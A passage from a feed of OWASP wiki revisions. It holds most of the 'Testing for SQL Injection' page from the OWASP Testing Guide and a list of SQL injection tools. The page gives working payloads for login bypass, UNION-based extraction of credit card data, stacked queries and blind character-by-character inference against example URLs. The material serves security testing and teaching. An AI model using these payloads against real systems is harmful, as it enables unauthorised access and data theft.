* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140057</id>
		<title>Testing for SQL Injection (OTG-INPVAL-005)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_SQL_Injection_(OTG-INPVAL-005)&amp;diff=140057"/>
				<updated>2012-11-22T11:02:15Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Format issues&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
                &lt;br /&gt;
==Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
An [[SQL injection]] attack consists of insertion or&lt;br /&gt;
&amp;amp;quot;injection&amp;amp;quot; of a SQL query via the input data from the client to the&lt;br /&gt;
application. A successful SQL injection exploit can read sensitive data from&lt;br /&gt;
the database, modify database data (insert/update/delete), execute&lt;br /&gt;
administration operations on the database (such as shutdown the DBMS), recover&lt;br /&gt;
the content of a given file existing on the DBMS file system or write files into&lt;br /&gt;
the file system, and, in some cases, issue commands to the operating system.&lt;br /&gt;
SQL injection attacks are a type of [[injection attack]], in which SQL commands are injected into data-plane input in order to&lt;br /&gt;
affect the execution of predefined SQL commands.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Description of the Issue ==&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In general the way web&lt;br /&gt;
applications construct SQL statements involving SQL syntax wrote by the&lt;br /&gt;
programmers mixed with user-supplied data. Example:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;select title, text from news where id=&amp;lt;/font&amp;gt;$id&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The red part is the SQL static&lt;br /&gt;
part supplied by the programmer and the variable $id contains user-supplied&lt;br /&gt;
data, making the SQL statement dynamic.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Because the way it was&lt;br /&gt;
constructed, the user can supply crafted input trying to make the original SQL&lt;br /&gt;
statement execute commands at user’s behavior. The example illustrates the&lt;br /&gt;
user-supplied data “10 or 1=1”, changing the logic of the SQL statement,&lt;br /&gt;
modifying the WHERE clause adding a condition “or 1=1”.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;select title, text from news where id=10 or 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SQL Injection attacks can&lt;br /&gt;
be divided into the following three classes:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Inband: data is extracted using the same      channel that is used to inject the SQL code. This is the most      straightforward kind of attack, in which the retrieved data is presented      directly in the application web page.&lt;br /&gt;
* Out-of-band: data is retrieved using a      different channel (e.g., an email with the results of the query is      generated and sent to the tester).&lt;br /&gt;
* Inferential: there is no actual transfer      of data, but the tester is able to reconstruct the information by sending      particular requests and observing the resulting behavior of the DB Server.&lt;br /&gt;
 &lt;br /&gt;
Independent of the attack&lt;br /&gt;
class, a successful SQL Injection attack requires the attacker to craft a&lt;br /&gt;
syntactically correct SQL Query. If the application returns an error message&lt;br /&gt;
generated by an incorrect query, then it is easy to reconstruct the logic of&lt;br /&gt;
the original query and, therefore, understand how to perform the injection&lt;br /&gt;
correctly. However, if the application hides the error details, then the tester&lt;br /&gt;
must be able to reverse engineer the logic of the original query. The latter&lt;br /&gt;
case is known as &amp;amp;quot;[[Blind SQL Injection]]&amp;amp;quot;.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
About the techniques to&lt;br /&gt;
exploit SQL injection flaws there are five commons techniques. Also those&lt;br /&gt;
techniques sometimes can be used in a combined way (e.g. union operator and&lt;br /&gt;
out-of-band):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Union Operator: usually can be used when      the SQL injection flaw happens in a SELECT statement, making possible to      combine two queries into a single result.&lt;br /&gt;
* Boolean: use Boolean condition to verify      if certain conditions are true or false.&lt;br /&gt;
* Error based: this technique forces the      database to generate an error making&lt;br /&gt;
* Out-of-band: technique used to retrieve data      using a different channel (e.g., make a HTTP connection to send the      results to a web server).&lt;br /&gt;
* Time delay: use database commands (e.g.      sleep) to delay answers in conditional queries. It useful when attacker doesn’t      have some kind of answer from the application.&lt;br /&gt;
 &lt;br /&gt;
==SQL Injection Detection ==&lt;br /&gt;
 &lt;br /&gt;
The first step in this test is to understand when the&lt;br /&gt;
application connects to a DB Server in order to access some data. Typical&lt;br /&gt;
examples of cases when an application needs to talk to a DB include:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
* Authentication forms: when authentication is      performed using a web form, chances are that the user credentials are      checked against a database that contains all usernames and passwords (or,      better, password hashes)&lt;br /&gt;
* Search engines: the string submitted by the user      could be used in a SQL query that extracts all relevant records from a      database&lt;br /&gt;
* E-Commerce sites: the products and their      characteristics (price, description, availability etc) are very likely to      be stored in a relational database.&lt;br /&gt;
 &lt;br /&gt;
The tester has to make a list of all input fields&lt;br /&gt;
whose values could be used in crafting a SQL query, including the hidden fields&lt;br /&gt;
of POST requests and then test them separately, trying to interfere with the&lt;br /&gt;
query and to generate an error. Consider also HTTP headers and Cookies. The&lt;br /&gt;
very first test usually consists of adding a single quote (') or a semicolon&lt;br /&gt;
(;) to the field under test. The first is used in SQL as a string terminator&lt;br /&gt;
and, if not filtered by the application, would lead to an incorrect query. The&lt;br /&gt;
second is used to end a SQL statement and, if it is not filtered, it is also&lt;br /&gt;
likely to generate an error. The output of a vulnerable field might resemble&lt;br /&gt;
the following (on a Microsoft SQL Server, in this case):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the &lt;br /&gt;
character string ''.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;/target/target.asp, line 113&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Also comments (--) and other SQL keywords like 'AND'&lt;br /&gt;
and 'OR' can be used to try to modify the query. A very simple but sometimes&lt;br /&gt;
still effective technique is simply to insert a string where a number is&lt;br /&gt;
expected, as an error like the following might be generated:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt; Microsoft OLE DB Provider for ODBC Drivers error '80040e07'&lt;br /&gt;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the&lt;br /&gt;
varchar value 'test' to a column of data type int.&lt;br /&gt;
/target/target.asp, line 113&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Monitor all the responses from the web server and have&lt;br /&gt;
a look at the HTML/javascript source code. Sometimes&lt;br /&gt;
the error is present inside them but for some reason (e.g. javascript&lt;br /&gt;
error) is not presented to the user. A full error message, like those in the&lt;br /&gt;
examples, provides a wealth of information to the tester in order to mount a&lt;br /&gt;
successful injection. However, applications often do not provide so much&lt;br /&gt;
detail: a simple '500 Server Error' or a custom error page might be issued,&lt;br /&gt;
meaning that we need to use blind injection techniques. In any case, it is very&lt;br /&gt;
important to test each field separately: only one variable must vary while all&lt;br /&gt;
the other remain constant, in order to precisely understand which parameters&lt;br /&gt;
are vulnerable and which are not.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Standard SQL Injection Testing ===&lt;br /&gt;
 &lt;br /&gt;
Example 1 (classical SQL Injection):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='$username' AND Password='$password'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
A similar query is generally used from the web&lt;br /&gt;
application in order to authenticate a user. If the query returns a value it&lt;br /&gt;
means that inside the database a user with that&lt;br /&gt;
credentials exists, then the user is allowed to login to the system, otherwise&lt;br /&gt;
the access is denied. The values of the input fields are generally obtained&lt;br /&gt;
from the user through a web form. Suppose we insert the following Username and&lt;br /&gt;
Password values:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = 1' or '1' = '1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' &amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If we suppose that the values of the parameters are&lt;br /&gt;
sent to the server through the GET method, and if the domain of the vulnerable&lt;br /&gt;
web site is www.example.com, the request that we'll carry out will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1&amp;amp;amp;password=1'%20or%20'1'%20=%20'1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After a short analysis we notice that the query&lt;br /&gt;
returns a value (or a set of values) because the condition is always true (OR&lt;br /&gt;
1=1). In this way the system has authenticated the user without knowing the&lt;br /&gt;
username and password.&amp;lt;br&amp;gt; ''In some systems the first row of a user table would be an administrator&lt;br /&gt;
user. This may be the profile returned in some cases.'' Another example of&lt;br /&gt;
query is the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='$username') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this case, there are two problems, one due to the&lt;br /&gt;
use of the parentheses and one due to the use of MD5 hash function. First of&lt;br /&gt;
all, we resolve the problem of the parentheses. That simply consists of adding&lt;br /&gt;
a number of closing parentheses until we obtain a corrected query. To resolve&lt;br /&gt;
the second problem, we try to invalidate the second condition. We add to our&lt;br /&gt;
query a final symbol that means that a comment is beginning. In this way,&lt;br /&gt;
everything that follows such symbol is considered a comment. Every DBMS has its&lt;br /&gt;
own symbols of comment, however, a common symbol to the greater part of the&lt;br /&gt;
database is /*. In Oracle the symbol is &amp;amp;quot;--&amp;amp;quot;. This said, the values&lt;br /&gt;
that we'll use as Username and Password are:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1'))/*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we'll get the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM Users WHERE ((Username='1' or '1' = '1'))/*') AND (Password=MD5('$password'))) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The URL request will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
This returns a number of values. Sometimes, the&lt;br /&gt;
authentication code verifies that the number of returned tuple&lt;br /&gt;
is exactly equal to 1. In the previous examples, this situation would be&lt;br /&gt;
difficult (in the database there is only one value per user). In order to go&lt;br /&gt;
around this problem, it is enough to insert a SQL command that imposes the&lt;br /&gt;
condition that the number of the returned tuple must&lt;br /&gt;
be one. (One record returned) In order to reach this goal, we use the operator&lt;br /&gt;
&amp;amp;quot;LIMIT &amp;amp;lt;num&amp;amp;gt;&amp;amp;quot;, where &amp;amp;lt;num&amp;amp;gt; is the number of the tuples that we expect to be returned. With respect to the&lt;br /&gt;
previous example, the value of the fields Username and&lt;br /&gt;
Password will be modified as follows:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$username = 1' or '1' = '1')) LIMIT 1/* &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;$password = foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
In this way, we create a request like the follow:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?username=1'%20or%20'1'%20=%20'1'))%20LIMIT%201/*&amp;amp;amp;password=foo &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
Example 2 (simple SELECT statement):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the tester&lt;br /&gt;
try a valid value (e.g. 10 in this case), the application will return the&lt;br /&gt;
description of a product.&lt;br /&gt;
A good way to test if the application is vulnerable in this scenario&lt;br /&gt;
is play with logic, using the operators AND and OR.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=10&lt;br /&gt;
AND 1=2&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this case, probably the application would return&lt;br /&gt;
some message telling us there is no content available or a blanket page. Then&lt;br /&gt;
the tester can send a true statement and check if there is a valid result:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND 1=1&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This second example can also be used to test Blind Sql Injection.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Example 3 (Stacked queries):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Depending on the API which the web application is using&lt;br /&gt;
and the DBMS (e.g. PHP + PostgreSQL, ASP+SQL SERVER)  is possible to&lt;br /&gt;
execute multiple queries in one call.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
A way to exploit the above scenario would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10; INSERT INTO users (…)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This way is possible to execute many queries in a row&lt;br /&gt;
and independent on the first query.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Fingerprinting the Database ===&lt;br /&gt;
 &lt;br /&gt;
Even the SQL language is a standard,&lt;br /&gt;
every DBMS has its peculiarity and differs from each other in many aspects like&lt;br /&gt;
especial commands, functions to retrieve data such as users names and&lt;br /&gt;
databases, features, comments line etc.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
When the testers move to a more advanced SQL injection&lt;br /&gt;
exploitation they need to know the backend.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1) The first way to find out which is the backend is by&lt;br /&gt;
observing the error returned by the application. Follow are some examples:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;You have an error in your SQL syntax; check the manual&lt;br /&gt;
that corresponds to your MySQL server version for the&lt;br /&gt;
right syntax to use near '\'' at line 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Oracle:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-00933: SQL command not properly ended&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
SQL Server:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;Microsoft SQL Native Client error ‘80040e14’&lt;br /&gt;
Unclosed quotation mark after the character string&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
PostgreSQL:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Query failed: ERROR: syntax error at or near&lt;br /&gt;
&amp;amp;quot;’&amp;amp;quot; at character 56 in /www/site/test.php on line 121.&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
2) If there is no error message or a custom error message,&lt;br /&gt;
the tester can try to inject into string field using concatenation technique:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
MySql:  ‘test’ + ‘ing’&lt;br /&gt;
&lt;br /&gt;
SQL Server: ‘test’ ‘ing’&lt;br /&gt;
 &lt;br /&gt;
Oracle: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
PostgreSQL: ‘test’||’ing’&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
All cells in a column must have the same datatype&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
